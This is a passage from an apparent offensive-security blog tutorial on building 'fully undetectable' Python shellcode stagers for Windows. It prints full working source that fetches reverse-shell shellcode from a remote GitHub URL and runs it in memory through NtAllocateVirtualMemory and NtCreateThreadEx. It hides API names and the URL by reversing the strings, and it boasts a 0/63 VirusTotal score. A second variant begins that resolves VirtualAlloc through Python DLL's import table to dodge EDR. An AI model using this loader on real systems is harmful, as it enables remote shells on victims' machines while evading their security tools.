</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># StartRoutine (your scode addr)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># Argument
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">,</span>                    <span class="c1"># CrateFlags (0 = run immediately)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># ZeroBits
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># StackSize
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># MaximumStackSize
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># AttributeList
</span><span class="p">]</span>
    
    <span class="n">addr</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">LPVOID</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">size</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nf">c_size_t</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">scode2</span><span class="p">))</span>
    <span class="n">current_process</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">HANDLE</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">status</span> <span class="o">=</span> <span class="nc">Allocator</span><span class="p">(</span>
        <span class="n">current_process</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">addr</span><span class="p">),</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">size</span><span class="p">),</span>
        <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span>
        <span class="n">PAGE_EXECUTE_READWRITE</span>
    <span class="p">)</span>
    
    <span class="k">if</span> <span class="n">status</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>  <span class="c1"># NTSTATUS 0 = success
</span>        <span class="n">mem_addr</span> <span class="o">=</span> <span class="n">addr</span><span class="p">.</span><span class="n">value</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Allcted mem at: 0x</span><span class="si">{</span><span class="n">mem_addr</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">_api0</span> <span class="o">=</span> <span class="sh">"</span><span class="s">evommem</span><span class="sh">"</span>  
        <span class="n">m3mMov3r</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ctypes</span><span class="p">,</span> <span class="n">_api0</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
        
        <span class="nf">m3mMov3r</span><span class="p">(</span><span class="n">mem_addr</span><span class="p">,</span> <span class="n">scode2</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode2</span><span class="p">))</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[+] Scode copied to memory</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">h_thread</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">HANDLE</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
        <span class="n">status2</span> <span class="o">=</span> <span class="nf">thred_the_needle</span><span class="p">(</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">h_thread</span><span class="p">),</span>
        <span class="mh">0x1FFFFF</span><span class="p">,</span>                          <span class="c1"># THRED_ALL_ACCESS
</span>        <span class="bp">None</span><span class="p">,</span>
        <span class="n">current_process</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">cast</span><span class="p">(</span><span class="n">mem_addr</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">),</span>  <span class="c1"># scode start address
</span>        <span class="bp">None</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>                                 <span class="c1"># no flags, start immediately
</span>        <span class="mi">0</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="bp">None</span>
        <span class="p">)</span>
        
        <span class="k">if</span> <span class="n">status2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Thredded Needle!</span><span class="sh">"</span><span class="p">)</span>
            
            <span class="nf">waitinaround</span><span class="p">(</span><span class="n">h_thread</span><span class="p">.</span><span class="n">value</span><span class="p">,</span> <span class="mi">10000</span><span class="p">)</span>
            <span class="nf">closingtime</span><span class="p">(</span><span class="n">h_thread</span><span class="p">.</span><span class="n">value</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] thred_the_needle failed: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">status2</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Allocator failed (NTSTATUS: 0x</span><span class="si">{</span><span class="n">status</span><span class="si">:</span><span class="mi">08</span><span class="n">X</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="bringing-it-all-together">Bringing it all together</h2>

<blockquote>
  <p>Code Execution:</p>
</blockquote>

<p><img width="1481" height="429" alt="image" src="https://github.com/user-attachments/assets/d9899ae8-7079-4007-942d-26135440cadd" /></p>

<blockquote>
  <p>Reverse Shell:</p>
</blockquote>

<p><img width="760" height="379" alt="image" src="https://github.com/user-attachments/assets/ea5ae0f7-bb5e-44f0-bdb0-912e61e64215" /></p>

<p>For just <code class="language-plaintext highlighter-rouge">135</code> lines of code, we were able to accomplish a very effective means of executing shellcode in memory without detection.  Want to see how effective?  See for yourself.  At the time of my submission/analysis, this achieved a <strong>0/63</strong> on VirusTotal.  In other words: <strong>FUD achieved!</strong></p>

<p>hash lookup: <strong>27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e</strong></p>

<p><a href="https://www.virustotal.com/gui/file/27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e">https://www.virustotal.com/gui/file/27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e</a>
<img width="1768" height="849" alt="image" src="https://github.com/user-attachments/assets/72567e23-ff3d-42ec-a64c-9aaee18109c3" /></p>

<blockquote>
  <p><strong>Full Source Code:</strong></p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e
</span>

<span class="kn">import</span> <span class="n">requests</span>
<span class="kn">import</span> <span class="n">ctypes</span>
<span class="kn">from</span> <span class="n">ctypes</span> <span class="kn">import</span> <span class="n">wintypes</span>

<span class="n">SCODE_U</span> <span class="o">=</span> <span class="sh">"</span><span class="s">onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth</span><span class="sh">"</span>  
<span class="n">SCODE_U</span> <span class="o">=</span> <span class="n">SCODE_U</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">stream</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>  <span class="c1"># Stream for large files 
</span>        <span class="n">response</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>
        <span class="n">shel_ly</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">iter_content</span><span class="p">(</span><span class="n">chunk_size</span><span class="o">=</span><span class="mi">4096</span><span class="p">))</span>  <span class="c1"># Load fully into bytes
</span>        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Dwnlded </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes of scode</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">shel_ly</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Dwnld failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">eggsecute_scode</span><span class="p">(</span><span class="n">scode2</span><span class="p">):</span>
    <span class="c1"># Constants
</span>    <span class="n">MEM_COMMIT</span> <span class="o">=</span> <span class="mh">0x1000</span>
    <span class="n">MEM_RESERVE</span> <span class="o">=</span> <span class="mh">0x2000</span>
    <span class="n">PAGE_EXECUTE_READWRITE</span> <span class="o">=</span> <span class="mh">0x40</span>

    <span class="n">kernel32</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">kernel32</span>
    <span class="n">ntdll</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">ntdll</span>
    
    <span class="n">_api4</span> <span class="o">=</span> <span class="sh">"</span><span class="s">eldnaHesolC</span><span class="sh">"</span>
    <span class="n">closingtime</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">kernel32</span><span class="p">,</span> <span class="n">_api4</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">closingtime</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span>
    <span class="n">closingtime</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>  <span class="c1"># hHandle
</span>    <span class="p">]</span>
    
    <span class="n">_api3</span> <span class="o">=</span> <span class="sh">"</span><span class="s">tcejbOelgniSroFtiaW</span><span class="sh">"</span>
    <span class="n">waitinaround</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">kernel32</span><span class="p">,</span> <span class="n">_api3</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">waitinaround</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span>
    <span class="n">waitinaround</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>  <span class="c1"># hHandle
</span>    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>   <span class="c1"># dwMilliseconds
</span>    <span class="p">]</span>
    
    <span class="n">_api</span> <span class="o">=</span> <span class="sh">"</span><span class="s">yromeMlautriVetacollAtN</span><span class="sh">"</span>  <span class="c1"># 
</span>    <span class="n">Allocator</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ntdll</span><span class="p">,</span> <span class="n">_api</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">Allocator</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">BOOL</span>
    <span class="n">Allocator</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">wintypes</span><span class="p">.</span><span class="n">LPVOID</span><span class="p">),</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">),</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>
    <span class="p">]</span>
    
    <span class="n">_api2</span> <span class="o">=</span> <span class="sh">"</span><span class="s">xEdaerhTetaerCtN</span><span class="sh">"</span>
    <span class="n">thred_the_needle</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ntdll</span><span class="p">,</span> <span class="n">_api2</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">thred_the_needle</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">LONG</span>  <span class="c1"># NTSTATUS
</span>    <span class="n">thred_the_needle</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">),</span>   <span class="c1"># ThredHandel (out)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">,</span>                    <span class="c1"># DesiredAccess
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># ObjectAttributes
</span>    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>                   <span class="c1"># ProcessHandle
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># StartRoutine (your scode addr)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># Argument
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">,</span>                    <span class="c1"># CrateFlags (0 = run immediately)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># ZeroBits
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># StackSize
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># MaximumStackSize
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># AttributeList
</span><span class="p">]</span>
    
    <span class="n">addr</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">LPVOID</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">size</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nf">c_size_t</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">scode2</span><span class="p">))</span>
    <span class="n">current_process</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">HANDLE</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">status</span> <span class="o">=</span> <span class="nc">Allocator</span><span class="p">(</span>
        <span class="n">current_process</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">addr</span><span class="p">),</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">size</span><span class="p">),</span>
        <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span>
        <span class="n">PAGE_EXECUTE_READWRITE</span>
    <span class="p">)</span>
    
    <span class="k">if</span> <span class="n">status</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>  <span class="c1"># NTSTATUS 0 = success
</span>        <span class="n">mem_addr</span> <span class="o">=</span> <span class="n">addr</span><span class="p">.</span><span class="n">value</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Allcted mem at: 0x</span><span class="si">{</span><span class="n">mem_addr</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">_api0</span> <span class="o">=</span> <span class="sh">"</span><span class="s">evommem</span><span class="sh">"</span>  
        <span class="n">m3mMov3r</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ctypes</span><span class="p">,</span> <span class="n">_api0</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
        
        <span class="nf">m3mMov3r</span><span class="p">(</span><span class="n">mem_addr</span><span class="p">,</span> <span class="n">scode2</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode2</span><span class="p">))</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[+] Scode copied to memory</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">h_thread</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">HANDLE</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
        <span class="n">status2</span> <span class="o">=</span> <span class="nf">thred_the_needle</span><span class="p">(</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">h_thread</span><span class="p">),</span>
        <span class="mh">0x1FFFFF</span><span class="p">,</span>                          <span class="c1"># THRED_ALL_ACCESS
</span>        <span class="bp">None</span><span class="p">,</span>
        <span class="n">current_process</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">cast</span><span class="p">(</span><span class="n">mem_addr</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">),</span>  <span class="c1"># scode start address
</span>        <span class="bp">None</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>                                 <span class="c1"># no flags, start immediately
</span>        <span class="mi">0</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="bp">None</span>
        <span class="p">)</span>
        
        <span class="k">if</span> <span class="n">status2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Thredded Needle!</span><span class="sh">"</span><span class="p">)</span>
            
            <span class="nf">waitinaround</span><span class="p">(</span><span class="n">h_thread</span><span class="p">.</span><span class="n">value</span><span class="p">,</span> <span class="mi">10000</span><span class="p">)</span>
            <span class="nf">closingtime</span><span class="p">(</span><span class="n">h_thread</span><span class="p">.</span><span class="n">value</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] thred_the_needle failed: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">status2</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Allocator failed (NTSTATUS: 0x</span><span class="si">{</span><span class="n">status</span><span class="si">:</span><span class="mi">08</span><span class="n">X</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] Dwnlding scode from URL...</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">scode</span> <span class="o">=</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">SCODE_U</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">scode</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] Eggsecuting Scode in mem...</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">eggsecute_scode</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[-] Aborting.</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="fud-stager-variant-2">FUD Stager Variant #2</h2>

<p><strong>High Level Overview</strong></p>

<p>Let’s take another creative approach to building our FUD stager. Rather than calling VirtualAlloc directly, we’ll leverage the already-loaded python314.dll — parsing its in-memory PE structure to walk the IAT and extract the live runtime address of VirtualAlloc as imported from kernel32.dll. No direct API call. No obvious import. Just borrowing what Python already loaded for us.  It’s also worth mentioning this is assuming you use a portable version of python to load your script.  It would work with <code class="language-plaintext highlighter-rouge">py2exe</code> as well, but we’re trying to avoid use of executable files in this case.  The python executable itself is an exception 😸</p>

<p><strong>In short</strong>: The resolved IAT address becomes a typed function pointer, giving us direct access to <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> without ever naming it explicitly or having to look its memory address up manually via traditional methods (<code class="language-plaintext highlighter-rouge">GetProcAddress</code>, etc).  This once again helps aid us greatly in deterring static analysis efforts from EDR.</p>

<h2 id="part-1---the-familiar-downloader">Part 1 - The Familiar Downloader</h2>

<p>Our code this time starts out in a familiar fashion as our last FUD code.  We download our reverse shell shellcode bytes into memory.  We will also be reversing our URL string again and changing variables from their familiar descriptors (shellcode, etc) to a less revealing name, like <code class="language-plaintext highlighter-rouge">SCODE_U</code> (shellcode url 😄).</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">ctypes</span><span class="p">,</span> <span class="n">sys</span><span class="p">,</span> <span class="n">os</span>
<span class="kn">import</span> <span class="n">requests</span>

<span class="k">try</span><span class="p">:</span>
    <span class="kn">import</span> <span class="n">pefile</span>
<span class="k">except</span> <span class="nb">ImportError</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">pip install pefile</span><span class="sh">"</span><span class="p">);</span> <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="n">SCODE_U</span> <span class="o">=</span> <span class="sh">"</span><span class="s">onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth</span><span class="sh">"</span>
<span class="n">SCODE_U</span> <span class="o">=</span> <span class="n">SCODE_U</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">stream</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="n">response</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>
        <span class="n">shel_ly</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">iter_content</span><span class="p">(</span><span class="n">chunk_size</span><span class="o">=</span><span class="mi">4096</span><span class="p">))</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Downloaded </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">shel_ly</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Download failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">None</span>
</code></pre></div></div>

<h2 id="part-2---setup-our-functions-for-copying-and-executing-the-downloaded-shellcode">Part 2 - Setup our functions for Copying and Executing the Downloaded Shellcode</h2>

<p>We also need to go over the copying of our shellcode bytes into our soon to be allocated memory address and the executing of the shellcode.  Let’s do that now.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">copy_to_page</span><span class="p">(</span><span class="n">page</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">scode</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">Copy scode bytes into the RWX page via ctypes.memmove.</span><span class="sh">"""</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">page</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[-] Invalid page address</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">False</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mh">0x1000</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Scode too large (</span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span><span class="si">}</span><span class="s"> &gt; 0x1000)</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">False</span>

    <span class="c1"># memmove(dst, src, count)
</span>    <span class="c1"># dst = raw integer address of our RWX page
</span>    <span class="c1"># src = scode bytes (ctypes accepts bytes directly as src)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="nf">memmove</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">scode</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">))</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Copied </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes → 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">return</span> <span class="bp">True</span>

<span class="k">def</span> <span class="nf">exec_page</span><span class="p">(</span><span class="n">page</span><span class="p">:</span> <span class="nb">int</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Cast the page to a void(*)(void) and call it.</span><span class="sh">"""</span>
    <span class="n">thunk</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nc">WINFUNCTYPE</span><span class="p">(</span><span class="bp">None</span><span class="p">)(</span><span class="n">page</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Executing scode @ 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="nf">thunk</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="part-3--walking-the-iat-and-locating-the-already-loaded-virtualalloc-memory-address">Part 3- Walking the IAT and locating the already loaded <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> memory address!</h2>

<blockquote>
  <p>Phase 1 — We will build out the DLL name and path dynamically</p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ver</span>      <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">version_info</span>
<span class="n">dll_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">python</span><span class="si">{</span><span class="n">ver</span><span class="p">.</span><span class="n">major</span><span class="si">}{</span><span class="n">ver</span><span class="p">.</span><span class="n">minor</span><span class="si">}</span><span class="s">.dll</span><span class="sh">"</span>
<span class="n">dll_path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">dirname</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">executable</span><span class="p">),</span> <span class="n">dll_name</span><span class="p">)</span>
</code></pre></div></div>

